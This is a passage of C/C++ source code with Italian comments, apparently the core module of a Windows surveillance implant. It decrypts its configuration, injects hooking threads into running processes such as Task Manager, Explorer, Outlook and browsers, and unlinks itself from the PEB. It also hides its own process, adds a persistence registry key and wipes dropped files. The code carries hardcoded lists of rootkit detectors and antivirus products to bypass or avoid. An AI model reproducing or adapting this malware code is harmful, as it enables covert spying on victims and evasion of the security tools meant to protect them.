        SAFE_FREE(conf_memory_clear);
        return NULL;
    }

    // Check del CRC
    SHA1Context sha;
    SHA1Reset(&sha);
    SHA1Input(&sha, (const unsigned char *)conf_memory_clear, conf_len - SHA_DIGEST_LENGTH - pad_len);
    if (SHA1Result(&sha)) {
        for (int i=0; i<5; i++)
            sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]);
        memcpy(crc, sha.Message_Digest, SHA_DIGEST_LENGTH);
        if (!memcmp(crc, conf_memory_clear + conf_len - SHA_DIGEST_LENGTH - pad_len, SHA_DIGEST_LENGTH))
            crc_ok = TRUE;
    }

    if (!crc_ok) {
        SAFE_FREE(conf_memory_clear);
        return NULL;
    }

    // NULL termina la stringa azzerando il CRC
    memset(conf_memory_clear + conf_len - SHA_DIGEST_LENGTH - pad_len, 0, SHA_DIGEST_LENGTH);

    return conf_memory_clear;
}

// Passa alla callback tutti i sotto-oggetti dell'oggetto "section" nella configurazione json
typedef void (WINAPI *conf_callback_t)(JSONObject, DWORD counter);
BOOL HM_ParseConfSection(char *conf, WCHAR *section, conf_callback_t call_back)
{
    JSONValue *value;
    JSONObject root;
    DWORD counter = 0;

    value = JSON::Parse(conf);
    if (!value)
        return FALSE;
    if (value->IsObject() == false) {
        delete value;
        return FALSE;
    }
    root = value->AsObject();

    if (root.find(section) != root.end() && root[section]->IsArray()) {
        JSONArray jarray = root[section]->AsArray();
        for (unsigned int i = 0; i < jarray.size(); i++) {
            if (jarray[i]->IsObject()) 
                call_back(jarray[i]->AsObject(), counter++);
        }
    }
    delete value;
    return TRUE;
}

// Passa l'oggetto json delle globals
BOOL HM_ParseConfGlobals(char *conf, conf_callback_t call_back)
{
    JSONValue *value;
    JSONObject root, obj;

    value = JSON::Parse(conf);
    if (!value)
        return FALSE;
    if (value->IsObject() == false) {
        delete value;
        return FALSE;
    }
    root = value->AsObject();

    if (!root[L"globals"]->IsObject()) {
        delete value;
        return FALSE;
    }
    obj = root[L"globals"]->AsObject();
    call_back(obj, 0);

    delete value;
    return TRUE;
}

BOOL HM_CountConfSection(char *conf, WCHAR *section, DWORD *count)
{
    JSONValue *value;
    JSONObject root;

    *count = 0;
    value = JSON::Parse(conf);
    if (!value)
        return FALSE;
    if (value->IsObject() == false) {
        delete value;
        return FALSE;
    }
    root = value->AsObject();

    if (root.find(section) != root.end() && root[section]->IsArray()) {
        JSONArray jarray = root[section]->AsArray();
        *count = jarray.size();
    }
    delete value;
    if (*count != 0)
        return TRUE;
    return FALSE;
}


void WINAPI ParseBypassCallback(JSONObject conf_json, DWORD dummy)
{
    DWORD index;
    JSONArray bypass_array = conf_json[L"nohide"]->AsArray();
    process_bypassed = bypass_array.size();
    if (process_bypassed > MAX_DYNAMIC_BYPASS)
        process_bypassed = MAX_DYNAMIC_BYPASS;
    process_bypassed += EMBEDDED_BYPASS; // Inserisce i processi hardcoded

    // Legge i processi rimanenti dal file di configurazione
    for (index=0; index<bypass_array.size(); index++) 
        _snprintf_s(process_bypass_list[index+EMBEDDED_BYPASS], MAX_PBYPASS_LEN, _TRUNCATE, "%S", bypass_array[index]->AsString().c_str());
}

void WINAPI ParseDriverHandling(JSONObject conf_json, DWORD dummy)
{
    g_remove_driver = (BOOL) conf_json[L"remove_driver"]->AsBool();
}


// Legge le configurazioni globali
void HM_UpdateGlobalConf()
{
    HANDLE h_conf_file;
    DWORD readn;
    char conf_path[DLLNAMELEN];
    char *conf_memory;

    // Se non riesce a leggere la configurazione, inizializza comunque
    // i valori globali.
    memset(&date_delta, 0, sizeof(date_delta));
    // Lista di processi da non toccare
    process_bypassed = EMBEDDED_BYPASS;
    ZeroMemory(process_bypass_list, sizeof(process_bypass_list));
    strcpy(process_bypass_list[0],"outlook.exe");
    strcpy(process_bypass_list[1],"ielowutil.exe");
    //strcpy(process_bypass_list[2],"KProcCheck.exe");
    strcpy(process_bypass_list[3],"TaskMan.exe");
    strcpy(process_bypass_list[4],"hackmon.exe");
    strcpy(process_bypass_list[5],"hiddenfinder.exe");
    strcpy(process_bypass_list[6],"Unhackme.exe");
    //strcpy(process_bypass_list[7],"blbeta.exe");
    strcpy(process_bypass_list[8],"fsbl.exe");
    strcpy(process_bypass_list[9],"sargui.exe");
    strcpy(process_bypass_list[10],"avgarkt.exe");
    strcpy(process_bypass_list[11],"avscan.exe");
    strcpy(process_bypass_list[12],"RootkitRevealer.exe");
    strcpy(process_bypass_list[13],"taskmgr.exe");
    strcpy(process_bypass_list[14],"avgscanx.exe");
    strcpy(process_bypass_list[15],"IceSword.exe");
    //strcpy(process_bypass_list[16],"svv.exe");
    strcpy(process_bypass_list[17],"rku*.exe");
    strcpy(process_bypass_list[18],"pavark.exe");
    strcpy(process_bypass_list[19],"avp.exe");
    strcpy(process_bypass_list[20],"bgscan.exe");
    strcpy(process_bypass_list[21],"FlashPlayerPlugin_*.exe");
    strcpy(process_bypass_list[22],"avk.exe");
    strcpy(process_bypass_list[23],"k7*.exe");
    strcpy(process_bypass_list[24],"rootkitbuster*.exe");
    strcpy(process_bypass_list[25],"pcts*.exe");
    strcpy(process_bypass_list[26],"iexplore.exe");
    strcpy(process_bypass_list[27],"chrome.exe");
    strcpy(process_bypass_list[28],"fsm32.exe");
    // XXX Se ne aggiungo, ricordarsi di modificare EMBEDDED_BYPASS

    // Gestisco le descrizioni per i processi per cui le ho
    ZeroMemory(process_bypass_desc, sizeof(process_bypass_desc));
    wcscpy(process_bypass_desc[0],L"*Outlook*");
    wcscpy(process_bypass_desc[3],L"Security Task Manager");
    wcscpy(process_bypass_desc[4],L"Detects*rootkits*");
    wcscpy(process_bypass_desc[5],L"*Hidden*Process*Finder*");
    wcscpy(process_bypass_desc[6],L"Detects*rootkits*");
    wcscpy(process_bypass_desc[8],L"*Secure*BlackLight*");
    wcscpy(process_bypass_desc[9],L"Sophos Anti*Rootkit*");
    wcscpy(process_bypass_desc[10],L"AVG Anti*Rootkit*");
    wcscpy(process_bypass_desc[12],L"Rootkit detection utility*");
    wcscpy(process_bypass_desc[18],L"*pavark*");
    wcscpy(process_bypass_desc[24],L"Trend Micro RootkitBuster*");
    wcscpy(process_bypass_desc[26],L"*Internet Explorer*");
    wcscpy(process_bypass_desc[27],L"*Google*Chrome*");
    wcscpy(process_bypass_desc[28],L"*F-Secure Settings*");
    
    // Legge il delta date dal file di stato...
    Log_RestoreAgentState(PM_CORE, (BYTE *)&date_delta, sizeof(date_delta)); 

    // Legge la lista dei processi da bypassare e la gestione del driver
    conf_memory = HM_ReadClearConf(H4_CONF_FILE);
    if (conf_memory) {
        HM_ParseConfGlobals(conf_memory, &ParseBypassCallback);
        HM_ParseConfGlobals(conf_memory, &ParseDriverHandling);
    }
    SAFE_FREE(conf_memory);
}


// Prende il path del browser di default
// Torna TRUE se ci riesce
BOOL HM_GetDefaultBrowser(char *path_name)
{
#define IEPATH "http\\shell\\open\\command"

    HKEY hIEPath;
    char short_path[DLLNAMELEN];
    char unquoted_long_path[DLLNAMELEN];
    DWORD iLen = sizeof(short_path);
    char *clean_short_path;
    char *params;

    // XXX - Si incazza se si cerca di aprire il default browser
    if (IsNortonInternetSecurity() || IsKaspersky()) {
        if (IsX64System())
            sprintf(path_name, "\"%s\"", "C:\\Windows\\SysWOW64\\notepad.exe");
        else
            sprintf(path_name, "\"%s\"", "C:\\Windows\\System32\\notepad.exe");
        return TRUE;
    }

    // Apre il registry
    if(FNC(RegOpenKeyA)(HKEY_CLASSES_ROOT, IEPATH, &hIEPath) != ERROR_SUCCESS )
        return FALSE;

    if(FNC(RegQueryValueExA)(hIEPath, NULL, NULL, NULL, (BYTE *)short_path, &iLen) != ERROR_SUCCESS) {
        FNC(RegCloseKey)(hIEPath);
        return FALSE;
    }
    FNC(RegCloseKey)(hIEPath);

    // Toglie eventuali parametri
    params = strstr(short_path, ".exe");
    if (params)
        params[4] = 0;
    params = strstr(short_path, ".EXE");
    if (params)
        params[4] = 0;
    clean_short_path = short_path;
    if (short_path[0]=='"')
        clean_short_path++; 

    // Prende il long name
    if (!FNC(GetLongPathNameA)(clean_short_path, unquoted_long_path, DLLNAMELEN))
        return FALSE;

    // Lo mette tra "" per evitare ambiguita' alla CreateProcess
    sprintf(path_name, "\"%s\"", unquoted_long_path);
    return TRUE;
}

// Prende il path di IE32
BOOL HM_GetIE32Browser(char *path_name)
{
    if (GetEnvironmentVariableA("ProgramFiles(x86)", path_name, DLLNAMELEN) == 0)
        return FALSE;

    StrCat(path_name, "\\Internet Explorer\\iexplore.exe");
    return TRUE;
}

DWORD WINAPI InjectServiceThread(DWORD dummy)
{
    DWORD service_pid;

    while( (service_pid = FindRunAsService()) == 0 ) 
        Sleep(500);

    HM_sStartHookingThread(service_pid, NULL, TRUE, FALSE);
    return 0;
}

// Inietta il thread di hooking in tutti i processi attivi
// tranne che nel processo chiamante
BOOL HM_HookActiveProcesses()
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD dwCallingPid;
    DWORD integrity_level;
    DWORD dummy;

    // Vede se siamo su Vista
    if (IsVista(&integrity_level) && integrity_level>=IL_HIGH) 
        // Cerca all'infinito di infettare il thread che lancia la UAC
        HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)InjectServiceThread, NULL, 0, &dummy);        

    // Continua con l'infection dei processi utente
    pe32.dwSize = sizeof( PROCESSENTRY32 );
    dwCallingPid = FNC(GetCurrentProcessId)();
    if ( (hProcessSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE )
        return FALSE;

    if( !FNC(Process32First)( hProcessSnap, &pe32 ) ) {
        CloseHandle( hProcessSnap );
        return FALSE;
    }

    // Cicla la lista dei processi attivi
    do {
        // Effettua l'hook solo se il processo non e' il chiamante
        if (pe32.th32ProcessID != dwCallingPid && IsMyProcess(pe32.th32ProcessID))
            HM_sStartHookingThread(pe32.th32ProcessID, NULL, TRUE, TRUE);
    } while( FNC(Process32Next)( hProcessSnap, &pe32 ) );

    CloseHandle( hProcessSnap );
    return TRUE ;
}


BOOL IsBrowser(char *name)
{
    char *browser_name[10];
    DWORD i;

    browser_name[0] = "opera.exe";
    browser_name[1] = "iexplore.exe";
    browser_name[2] = "firefox.exe";
    browser_name[3] = "chrome.exe";
    browser_name[4] = "";

    for(i=0; browser_name[i][0]; i++)
        if (!_stricmp(name, browser_name[i]))
            return TRUE;
    return FALSE;
}

// Monitora la presenza di nuovi TaskManager
// o explorer.exe in cui effettuare l'injection.
// Monitora anche la coda dei messaggi per effettuare
// la chiusura del processo.
// Diventa il loop principale del programma.
#define HM_PTSLEEPTIME 1400
#define PROCESS_POLLED 6
#define PROCESS_FREQUENTLY_POLLED 4

DWORD WINAPI PollNewApps(DWORD dummy)
{
    char *polled_name[PROCESS_POLLED];
    DWORD i, loop_count = 0;
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    char *name_offs;
    BOOL infected;

    polled_name[0] = "taskmgr.exe";
    polled_name[1] = "outlook.exe";
    polled_name[2] = "explorer.exe";
    polled_name[3] = "mghtml.exe";
    polled_name[4] = "iexplore.exe";
    polled_name[5] = "chrome.exe";

    LOOP {
        Sleep(HM_PTSLEEPTIME);
        loop_count++;

        pe32.dwSize = sizeof( PROCESSENTRY32 );
        if ( (hProcessSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE ) 
            continue;
        if( !FNC(Process32First)( hProcessSnap, &pe32 ) ) {
            CloseHandle( hProcessSnap );
            continue;
        }
        // Cicla la lista dei processi attivi
        do {
            infected = FALSE;
            // Elimina il path
            name_offs = strrchr(pe32.szExeFile, '\\');
            if (!name_offs)
                name_offs = pe32.szExeFile;
            else
                name_offs++;

            // XXX - Norton si incazza se si iniettano i browser
            if (IsNortonInternetSecurity() && IsBrowser(name_offs))
                continue;

            // Confronta il nome con quelli da pollare
            if ((loop_count%3) == 0) {
                for (i=0; i<PROCESS_POLLED; i++) {
                    if (!_stricmp(name_offs, polled_name[i]) && IsMyProcess(pe32.th32ProcessID)) {
                        // Se e' fra quelli lo inietta (HM_sStartHookingThread lo fara' solo la prima volta)
                        HM_sStartHookingThread(pe32.th32ProcessID, NULL, FALSE, TRUE);
                        infected = TRUE;
                        break;
                    }
                }
            } else {
                for (i=0; i<PROCESS_FREQUENTLY_POLLED; i++) {
                    if (!_stricmp(name_offs, polled_name[i]) && IsMyProcess(pe32.th32ProcessID)) {
                        // Se e' fra quelli lo inietta (HM_sStartHookingThread lo fara' solo la prima volta)
                        HM_sStartHookingThread(pe32.th32ProcessID, NULL, FALSE, TRUE);
                        infected = TRUE;
                        break;
                    }
                }
            }

            // In questo caso non e' hookata la CreateProcess, quindi infetta tutti i processi tramite polling.
            // La stessa cosa la fa sui sistemi a 64 bit (explorer e' a 64 bit, quindi non infettera' nessun figlio
            // a 32bit). Non cerca di marcare i processi a 64bit (il core gira a 32 e non ci riuscirebbe)
            // Guarda i bypass, marca i processi hookati
            if (!infected && (IsX64System() || IsBitDefender())) {
                DWORD dwCallingPid = FNC(GetCurrentProcessId)();
                if (pe32.th32ProcessID != dwCallingPid && !IsX64Process(pe32.th32ProcessID) && IsMyProcess(pe32.th32ProcessID) )
                    HM_sStartHookingThread(pe32.th32ProcessID, NULL, TRUE, TRUE);    
            }
        } while( FNC(Process32Next)( hProcessSnap, &pe32 ) );
        CloseHandle( hProcessSnap );
    }
}

void HM_StartPolling(void)
{
    DWORD dummy;
    MSG msg;

    HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PollNewApps, NULL, 0, &dummy);
    LOOP {
        HANDLE_SENT_MESSAGES(msg, 100);
    }
}


BOOL FindModulePath(char *path_buf, DWORD path_size)
{
    HMODULE hLib= NULL;
    HMODULE modules[1024];
    char temp_buf[_MAX_PATH * 2 + 2];
    char *dos_ascii_name;
    DWORD mod_size;
    DWORD mod_num;
    DWORD i;

    // Se ha gia' le variabili settate le recupera da li'
    // altrimenti (e' la prima volta che lo chiama, o siamo in un servizio che
    // non ha la shared), la calcola al volo.
    HM_CompletePath(H4DLLNAME, path_buf);
    if (strlen(path_buf) >= 3)
        return TRUE;

    // Cerca il modulo che esporta la funzione PPPFTBBP01 (cioe' se stesso)
    if (!FNC(EnumProcessModules)(FNC(GetCurrentProcess)(), modules, sizeof(modules), &mod_size)) 
        return FALSE;

    mod_num = mod_size/sizeof(HMODULE);
    for (i=0; i<mod_num; i++) {
        // L'abbiamo trovato
        if ((DWORD)GetProcAddress(modules[i], "PPPFTBBP01")) {
            hLib = modules[i];
            break;
        }
    }

    if (!hLib) 
        return FALSE;
    
    ZeroMemory(temp_buf, sizeof(temp_buf)); // Ci assicuriamo che il nome sia NULL terminato
    if (!FNC(GetModuleFileNameExW)(FNC(GetCurrentProcess)(), hLib, (WCHAR *)temp_buf, _MAX_PATH)) 
        return FALSE;

    if (!(dos_ascii_name = GetDosAsciiName((WCHAR *)temp_buf)))
        return FALSE;

    _snprintf_s(path_buf, path_size, _TRUNCATE, "%s", dos_ascii_name);
    SAFE_FREE(dos_ascii_name);
    
    return TRUE;
}


// Cancella la command line
void HM_ClearCommand()
{
    char *ptr;
    char *cmd_lineA;
    wchar_t *cmd_lineW;
    wchar_t *ptrW;
    
    cmd_lineA = FNC(GetCommandLineA)();
    if ( !(ptr = strchr(cmd_lineA, ' ')) )
        return;
    while(*ptr) {
        *ptr = 0;
        ptr++;
    }

    cmd_lineW = FNC(GetCommandLineW)();
    if ( !(ptrW = wcschr(cmd_lineW, ' ')) )
        return;
    while(*ptrW) {
        *ptrW = 0;
        ptrW++;
    }
}

void LockConfFile()
{
    char conf_path[DLLNAMELEN];
    HM_CompletePath(H4_CONF_FILE, conf_path);
    FNC(SetFileAttributesA)(conf_path, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_ARCHIVE);
    conf_file_handle = FNC(CreateFileA)(conf_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
}

void UnlockConfFile()
{
    DWORD i;
    char conf_path[DLLNAMELEN];

    HM_CompletePath(H4_CONF_FILE, conf_path);

    if (conf_file_handle)
        CloseHandle(conf_file_handle);
    conf_file_handle = NULL;

    for(i=0; i<MAX_DELETE_TRY; i++) {
        if (FNC(SetFileAttributesA)(conf_path, FILE_ATTRIBUTE_NORMAL))
            break;
        Sleep(DELETE_SLEEP_TIME);
    }
}

/* Return the first occurrence of NEEDLE in HAYSTACK. */
#define __builtin_expect(expr, val)   (expr)
void *memmem (const void *haystack, size_t haystack_len, const void *needle, size_t needle_len)
{
  /* not really Rabin-Karp, just using additive hashing */
  char* haystack_ = (char*)haystack;
  char* needle_ = (char*)needle;
  int hash = 0;        /* this is the static hash value of the needle */
  int hay_hash = 0;    /* rolling hash over the haystack */
  char* last;
  size_t i;

  if (haystack_len < needle_len)
    return NULL;

  if (!needle_len)
    return haystack_;

  /* initialize hashes */
  for (i = needle_len; i; --i)
    {
      hash += *needle_++;
      hay_hash += *haystack_++;
    }

  /* iterate over the haystack */
  haystack_ = (char*)haystack;
  needle_ = (char*)needle;
  last = haystack_+(haystack_len - needle_len + 1);
  for (; haystack_ < last; ++haystack_)
    {
      if (__builtin_expect(hash == hay_hash, 0) &&
      *haystack_ == *needle_ &&    /* prevent calling memcmp, was a optimization from existing glibc */
      !memcmp (haystack_, needle_, needle_len))
    return haystack_;

      /* roll the hash */
      hay_hash -= *haystack_;
      hay_hash += *(haystack_+needle_len);
    }

  return NULL;
}

void HM_CalcDateDelta(long long server_time, nanosec_time *delta)
{
    long long client_time;
    long long delta_l;
    
    _time64(&client_time);
    delta_l = server_time - client_time;

    // Trasforma i secondi in 100-nanosec
    delta_l *= 10000000;
    delta->lo_delay = (DWORD)(delta_l & 0xFFFFFFFF);
    delta->hi_delay = (DWORD)(delta_l >> 32);
}

void DeletePending()
{
    char d_file_path[MAX_PATH];
    HM_WipeFileA(HM_CompletePath(H4DRIVER_NAME_ALT, d_file_path));
    HM_WipeFileA(HM_CompletePath(H4DRIVER_NAME, d_file_path));
    HM_WipeFileA(HM_CompletePath(H4_UPDATE_FILE, d_file_path));
}

// Main del core
void __stdcall HM_sMain(void)
{
    pid_hide_struct pid_hide;

    // Ci sono degli AV con cui proprio non si deve installare
    if (IsBlackList()) 
        FNC(ExitProcess)(0);

    //Riempie i campi relativi al nome del file immagine,
    //file di configurazione, directory di installazione
    //etc. Va fatta come PRIMA cosa.
    if (!HM_GuessNames()) 
        FNC(ExitProcess)(0);

    // Tutte le funzioni di logging sono attive solo
    // nella versione demo
    if (!CreateLogWindow())
        FNC(ExitProcess)(0);

    ScrambleString ssok("QM\r\n", is_demo_version); // "OK\r\n"
    ScrambleString ss1("_ B0lgDUPC gEo7EPlPv1...........", is_demo_version); // "- Checking components..........."
    ScrambleString ss2("_ xgvUR8vUPC 0UiUPC 1J1vlo......", is_demo_version); // "- Activating hiding system......"
    ScrambleString ss3("L99Q9\r\n    3-ru5 [eP8IWl vE il7WEJ]\r\n", is_demo_version); // "ERROR\r\n    17240 [Unable to deploy]\r\n"
    ScrambleString ss4("_ yPUvU8WUAUPC oEidWl1..........", is_demo_version); // "- Initializing modules.........."
    ScrambleString ss5("L99Q9\r\n    rYp35 [K0l 1J1vlo U1 8Wtl8iJ oEPUvEtli]\r\n", is_demo_version); // "ERROR\r\n    29310 [The system is already monitored]\r\n"
    ScrambleString ss6("_ 4v8tvUPC gEtl oEidWl..........", is_demo_version); // "- Starting core module.........."
    ScrambleString ss7("\r\n xClPv zdWWJ E7lt8vUEP8W\r\n\r\n", is_demo_version); // "\r\n Agent fully operational\r\n\r\n"

    REPORT_STATUS_LOG(ss1.get_str());

    // Locka il file di configurazione per prevenire cancellazioni "accidentali"
    LockConfFile();

    // Elimina il modulo dalla PEB
    // XXX da qui in poi non potro' piu' fare GetModuleHandle etc. di questo modulo
    HidePEB(GetModuleHandle(H4DLLNAME));

    REPORT_STATUS_LOG(ssok.get_str()); 

    // Cancella la command line
    HM_ClearCommand();

    REPORT_STATUS_LOG(ss2.get_str());

    // Toglie gli hook, prende i privilegi, etc.
    if (!doUnhook()) {
        REPORT_STATUS_LOG(ss3.get_str()); 
        ReportExitProcess();
    } 
    REPORT_STATUS_LOG(ssok.get_str()); 

    // Inizializza la chiave di cifratura (va fatto prima di qualsiasi
    // accesso al file di configurazione).
    LOG_InitCryptKey(bin_patched_key, bin_patched_key_conf);

    // Controlla se c'e' un file di configurazione pendente
    // o corrotto (lo rimpiazza con l'eventuale copia di backup).
    // Va fatto prima di AM_Startup, perche' quest'ultima legge
    // gia' il file di configurazione.
    HM_CheckNewConf(H4_CONF_BU);
    //HM_CheckNewConf("nc-7-8dv.cfg");

    // Legge le configurazioni globali. Va fatto DOPO HM_CheckNewConf.
    HM_UpdateGlobalConf();
    
    // L'agent manager deve essere startato prima di effettuare gli hook 
    // (infatti e' lui che inizializza tutta la parte di IPC).
    REPORT_STATUS_LOG(ss4.get_str());
    if (!AM_Startup()) {
        REPORT_STATUS_LOG(ss5.get_str()); 
        g_remove_driver = FALSE; // Disinstalla questa istanza ma lascia il driver per eventuali altre istanze running
        DA_Uninstall(NULL); // AM_Startup fallisce se la sharedmemory gia' esiste
    }
    REPORT_STATUS_LOG(ssok.get_str()); 

    // Effettua l'injection in tutti i processi attivi
    HM_HookActiveProcesses();

    // Lancia (se e' il caso) il core a 64 bit
    Run64Core();

    // Nasconde il processo chiamante (host della DLL core)
    SET_PID_HIDE_STRUCT(pid_hide, FNC(GetCurrentProcessId)());
    AM_AddHide(HIDE_PID, &pid_hide);

    // Inserisce la chiave nel registry
    // Viene fatto dopo l'hiding per evitare che venga vista da processi
    // come TeaTimer, ma fare attenzione che il processo core non possa 
    // uscire prima per altri errori (anche se c'e' qualche problema
    // la chiave nel registry deve essere inserita ad ogni costo).
    REPORT_STATUS_LOG(ss6.get_str());
    Sleep(3300); // XXX Aspetta che venga fatta l'injection prima di scrivere la chiave
    HM_InsertRegistryKey(H4DLLNAME, FALSE);

    // Cancella eventuali file pendenti vecchi e inutilizzati
    DeletePending();

    // Inizializza (dal file di configurazione) e fa partire gli agent
    // e il thread di dispatch
    AM_SuspendRestart(AM_RESET);
    REPORT_STATUS_LOG(ssok.get_str()); 

    // Viene cambiato lo sfondo del desktop, ma solo se e'
    // stata compilata in versione DEMO
    SetDesktopBackground();

    // Fa partire il sync manager 
    SM_StartMonitorEvents();

    // Lancia il thread per il monitoraggio della formattazione
    //StartFormatThread();

    REPORT_STATUS_LOG(ss7.get_str());
    SendStatusLog(L"[Core Module]: Started");

    // Ciclo per l'hiding da task manager e dai nuovi epxlorer
    // lanciati. Monitora anche la coda dei messaggi per
    // chiudere correttamente il processo al logoff.
    // E' nel thread principale per poter chiudere correttamente
    // il processo.
    HM_StartPolling();
}